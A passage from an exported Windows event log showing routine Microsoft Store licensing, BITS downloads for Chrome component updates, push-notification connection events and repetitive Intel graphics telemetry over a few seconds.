onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8011\t0x21f8312ac20: 13728: {2779D781-9DB3-5818-8A8F-961408D4CA65}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8011\t0x21f8312ac20: 13728: {2779D781-9DB3-5818-8A8F-961408D4CA65}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8012\t0x21f83176b80: 13668: Key:Valid Change: Key:Invalid => 9CD2C66B-D3F2-3342-77A1-FDE6E819AC29\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8012\t0x21f8312ac20: 13728: Lease:Valid Change: Lease:Invalid => {2779D781-9DB3-5818-8A8F-961408D4CA65}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.286\t8001\t\"Requesting lease document removal for reason 0x00000000, {2779D781-9DB3-5818-8A8F-961408D4CA65}\nFunction: LicenseManagerCore::DoRemoveLeaseDocumentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (1460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.287\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2da9b29d-6370-e263-afcc-4c90e8d0d7d6\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=9cd2c66b-d3f2-3342-77a1-fde6e819ac29&entitlementId=2da9b29d-6370-e263-afcc-4c90e8d0d7d6&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"e6afc57e-e948-0700-1f5b-021330ec499e\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"9cd2c66b-d3f2-3342-77a1-fde6e819ac29\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9PCTGDFXVZLJ\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-07-07T01:54:10.2890432+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.287\t8001\t\"Ignoring lease removal with reason 0x00000000 because this is an offline lease\n\nFunction: ClipStorage::RemoveLeaseDocumentWithIdAndReason\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (501)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.287\t8002\t\"Trying to remove timer {2779D781-9DB3-5818-8A8F-961408D4CA65} not in table\nFunction: MemoryTimerService::CancelTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (80)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.287\t8001\t\"Removed timer for {2779D781-9DB3-5818-8A8F-961408D4CA65}\nFunction: MemoryTimerService::CleanupTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (19)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:25.418\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:25.584\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:25.741\t60\tBITS stopped transferring the Chrome Component Updater transfer job that is associated with the http://edgedl.me.gvt1.com/edgedl/diffgen-puffin/efniojlnjndmcbiieegkicadnoecjjef/ae6b89eb3be749b5186b193ff53cabf3cbe70afebade5d567ce2cc60993edde1 URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:25.748\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:25.910\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:26.174\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:26.345\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:26.613\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:26.769\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:26.925\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:27.083\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:27.257\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:27.353\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:27.354\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:27.354\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:27.360\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:27.431\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:27.594\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:27.758\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:27.915\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.086\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.253\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.367\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.367\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.367\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.377\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.387\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.399\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.401\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.401\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:28.416\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.578\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.731\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.901\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:28.939\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Chrome Component Updater\nJob ID: {df57cb3c-61e4-42c9-af52-ac0b58945dbd}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:29.109\t3\t\"The BITS service created a new job.\nTransfer job: Chrome Component Updater\nJob ID: {36175a71-627d-4263-a8a6-33d45942d660}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\nProcess ID: 14724\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:29.115\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:29.158\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:29.221\t59\tBITS started the Chrome Component Updater transfer job that is associated with the http://edgedl.me.gvt1.com/edgedl/diffgen-puffin/hfnkpimlhhgieaddgfemjhofmfblmnib/2d5a57c27ad51b4804bdb8eb2e3358b685f3d3502788f352c1a0b9704e741b19 URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:29.243\t114\tRemoved URL (http://*:2869/upnp/eventing/) from URL group (0xFE00000720000001). Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:29.262\t113\tAttempted to add URL (http://*:2869/upnp/eventing/) to URL group (0xFE00000E20000001). Status: 0x0. Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:29.316\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:29.333\t114\tRemoved URL (http://*:2869/upnp/eventing/) from URL group (0xFE00000E20000001). Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:29.360\t113\tAttempted to add URL (http://*:2869/upnp/eventing/) to URL group (0xFA00000C20000001). Status: 0x0. Process Id 0x3DA0 Executable path \\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe, User S-1-5-19\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:30:29.512\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:29.678\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:29.850\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.010\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.167\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.218\t60\tBITS stopped transferring the Chrome Component Updater transfer job that is associated with the http://edgedl.me.gvt1.com/edgedl/diffgen-puffin/hfnkpimlhhgieaddgfemjhofmfblmnib/2d5a57c27ad51b4804bdb8eb2e3358b685f3d3502788f352c1a0b9704e741b19 URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:30.330\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.491\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.663\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.825\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:30.980\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:31.135\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:31.299\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:31.453\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:31.728\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:31.897\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:32.053\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:32.214\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:32.352\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_WIN32_TERMINALSERVICE_Prov, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:30:32.420\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:32.585\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:32.744\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:32.897\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:33.055\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:33.137\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Chrome Component Updater\nJob ID: {36175a71-627d-4263-a8a6-33d45942d660}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 08:30:33.224\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:33.262\t100\tDiagnostic module {c8544339-5be9-4f25-862e-485f1b1a6935} (%SystemRoot%\\system32\\diagperf.dll) detected a problem for scenario {86432a0b-3c7d-4ddf-a89c-172faa90485d}, instance {1282433c-4545-40de-ba0f-f72608f6da4b}, original activity ID {86432a0b-3c7d-4ddf-a89c-172faa90485d}.\tInformation\tMicrosoft-Windows-Diagnosis-DPS/Operational\tMicrosoft-Windows-Diagnosis-DPS\n05.09.2026 08:30:33.262\t105\tDiagnostic module {c8544339-5be9-4f25-862e-485f1b1a6935} (%SystemRoot%\\system32\\diagperf.dll) started troubleshooting scenario {86432a0b-3c7d-4ddf-a89c-172faa90485d}, instance {1282433c-4545-40de-ba0f-f72608f6da4b}, original activity ID {86432a0b-3c7d-4ddf-a89c-172faa90485d}.\tInformation\tMicrosoft-Windows-Diagnosis-DPS/Operational\tMicrosoft-Windows-Diagnosis-DPS\n05.09.2026 08:30:33.391\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:33.568\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:33.749\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:33.923\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:34.090\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:34.283\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:34.475\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:34.651\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:34.830\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:34.990\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:35.158\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:35.344\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:35.557\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:35.731\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:35.916\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:36.115\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked 